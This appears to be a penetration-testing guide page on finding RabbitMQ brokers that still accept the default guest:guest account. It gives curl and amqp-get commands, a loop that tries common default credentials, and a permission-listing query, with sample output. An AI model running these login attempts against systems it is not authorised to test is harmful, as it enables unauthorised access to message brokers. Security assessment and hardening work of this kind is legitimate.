Skip to content
HackIndex.io

RabbitMQ Default Credentials

3 min read Created Apr 4, 2026 Last updated Apr 4, 2026

RabbitMQ ships with a default guest account with password guest and administrator privileges. By default this account is restricted to localhost connections only, but this restriction is frequently removed in misconfigured deployments. When the management API is exposed, testing the guest account takes seconds and is the first thing to check before any other credential work. Confirm AMQP and management port accessibility through AMQP fingerprinting and management port discovery first.

  • Test guest:guest via Management API
  • Test Default Credentials Systematically
  • Test guest Account at AMQP Protocol Level
  • Determine Account Permissions

Test guest:guest via Management API

The management API is the fastest way to test credentials: a valid login returns full broker overview JSON:

┌──(kali㉿kali)-[~]
└─$ curl -sk -u 'guest:guest' http://$TARGET_IP:15672/api/whoami 
{"name":"guest","tags":"administrator"}
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allow insecure TLS connections, skipping certificate verification.
-u 'guest:guest' Authenticate with username and password credentials.
http://$TARGET_IP:15672/api/whoami Target RabbitMQ management API endpoint on port 15672.

administrator tag confirms full management access. This account can read and publish to all queues, manage all vhosts, create and delete users, and access all configuration. Move directly to management API exploitation.

Test Default Credentials Systematically

┌──(kali㉿kali)-[~]
└─$ for cred in guest:guest admin:admin admin:password rabbitmq:rabbitmq admin:rabbitmq guest:password; do
code=$(curl -sk -o /dev/null -w '%{http_code}' -u "$cred" http://$TARGET_IP:15672/api/whoami)
echo "$code $cred"
[ "$code" = "200" ] && echo "VALID: $cred" && break
done 
200 guest:guest
VALID: guest:guest
Explain command
guest:guest admin:admin admin:password rabbitmq:rabbitmq admin:rabbitmq guest:password List of credential pairs (user:pass) iterated for brute-force auth testing.
-sk Silent mode with insecure TLS (skip cert verification).
-o /dev/null Discard response body output.
-w '%{http_code}' Output only the HTTP response status code.
-u "$cred" Supply Basic Auth credentials in user:password format.
http://$TARGET_IP:15672/api/whoami RabbitMQ management API endpoint to verify auth identity.
$TARGET_IP Target host IP address variable for the RabbitMQ server.

Test guest Account at AMQP Protocol Level

Even if the management API is blocked, the AMQP protocol port may accept the guest account from external hosts:

┌──(kali㉿kali)-[~]
└─$ amqp-get --url='amqp://guest:guest@$TARGET_IP:5672/%2F' --queue='__probe__' 2>&1 | head -2 
Error: NOT_FOUND - no queue '__probe__' in vhost '/'
Explain command
--url='amqp://guest:guest@$TARGET_IP:5672/%2F' AMQP broker URL with credentials, host, port 5672, and default vhost.
--queue='__probe__' Specifies the target queue name to consume a message from.
2>&1 Redirects stderr to stdout, merging both output streams.
head -2 Limits output to the first 2 lines of the merged stream.

NOT_FOUND on the queue confirms the guest account is accessible from external hosts at the AMQP level. This means the loopback_users configuration has been cleared: guest is permitted from any source IP.

Determine Account Permissions

Once a valid account is confirmed, check its exact permissions across all vhosts:

┌──(kali㉿kali)-[~]
└─$ curl -sk -u "$USER:$PASSWORD" http://$TARGET_IP:15672/api/permissions | python3 -m json.tool 
[
  {
    "user": "guest",
    "vhost": "/",
    "configure": ".*",
    "write": ".*",
    "read": ".*"
  }
]
Explain command
-s Silent mode; suppresses progress and error output.
-k Allows insecure SSL connections, skipping certificate verification.
-u "$USER:$PASSWORD" Sends HTTP Basic Auth credentials in user:password format.
http://$TARGET_IP:15672/api/permissions Target RabbitMQ management API endpoint on port 15672.

.* on all three permission fields means full access: configure, write, and read on all queues and exchanges in this vhost. This is the default guest permission set and confirms completely unrestricted access.

References